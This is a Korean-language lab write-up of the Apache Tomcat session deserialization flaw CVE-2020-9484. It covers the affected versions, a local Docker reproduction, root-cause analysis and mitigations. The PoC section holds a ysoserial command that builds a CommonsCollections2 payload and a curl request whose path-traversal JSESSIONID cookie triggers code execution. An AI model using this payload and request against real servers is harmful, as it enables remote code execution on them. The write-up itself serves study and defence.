CVE-2020-9484
0. 취약한 환경 버전
Apache Tomcat
7.0.0 ~ 7.0.103
8.5.0 ~ 8.5.54
9.0.0.M1 ~ 9.0.34
10.0.0-M1 ~ 10.0.0-M4
1. 환경 구성
1. ubuntu 20.04
2. docker
3. ysoserial
CommonsCollections2 가젯 체인을 이용하여 공격 코드가 포함된 세션 파일 생성 ( docker 파일 내 첨부되어 따로 실행하지 않아도 됨)
java -jar ./ysoserial-master.jar CommonsCollections2 'tocuh /tmp/rce' > groovy.session
ysoserial: https://github.com/frohoff/ysoserial
docker 파일이 존재하는 git 서버 클론
git clone https://github.com/masahiro331/CVE-2020-9484.git
톰캣 서버 이미지 생성
docker build -t tomcat:groovy .
호스트 8080번 포트를 도커의 8080포트로 전달하여 실행
docker run -d -p 8080:8080 tomcat:groovy
도커 프로세스 확인
docker ps -a
도커 진입
docker exec -t -i 이름 /bin/bash
2. PoC
아파치 서버 웹페이지 확인
tmp 폴더 확인
cd /tmp & ls
취약한 Session Deserialization을 이용하여 rce 파일 삽입
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy
3. 원인 분석
Tomcat에서 사용하는 Session Manager는 Standard Manager와 Persistent Manager 2가지가 있다. Standard Manager는 Tomcat 기본 설정으로 메모리에 세션을 저장하다가 서버의 재시작/정지 시에 세션 데이터를 직렬화하여 session.ser 파일에 저장한다. 서버 에러 등 예기치 않은 정지 시에는 세션 데이터가 저장되지 않는다.
Persistent Manager는 Standard와 동일하나 일정 시간 사용되지 않는 세션을 가져와 파일 또는 데이터베이스에 저장한다. 세션을 저장할 때는 세션 데이터를 직렬화하여 저장하고, 해당 세션 요청이 들어오면 역직렬화하여 메모리에 가져온다.
Persistent Manager를 사용하여 세션을 관리할 때에는 세션을 저장할 디렉터리를 정할 수 있다. Store 요소 안에 className 속성을 org.apache.catalina.FileStore로 지정하면 directory 속성으로 저장할 디렉터리를 지정할 수 있으며, 세션ID를 사용해 파일 이름을 저장한다. className 속성을 org.apache.caltalina.JDBCStore로 지정하면 개별 행으로 저장되는 데이터베이스에 세션이 저장된다
<Manager className="org.apache.catalina.session.PersistentManager" sessionAttributeValueClassNameFilter="">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
RCE 실행 조건
- 공격자는 서버에 있는 파일 내용과 이름을 제어할 수 있는 경우
- 서버가 PersistenceManager의 FileStore를 사용하도록 구성된 경우
- PersistenceManager가 sessionAttributeValueClassNameFilter="null" 또는 공격자가 제공한 개체를 역직렬화할 수 있도록 필터 구성이 미흡한 경우
- 공격자는 FileStore에서 사용하는 스토리지 위치와 제어가능한 파일의 상대 경로를 아는 경우
4. 대응 방안
- Persistent Manger 주석처리
- FileStore 기능을 비활성화하거나 sessionAttributeValueClassNameFilte 값을 별도로 구성하여 특정 속성을 가진 개체만 직렬화/역직렬화할 수 있도록 조치
- 버전 업그레이드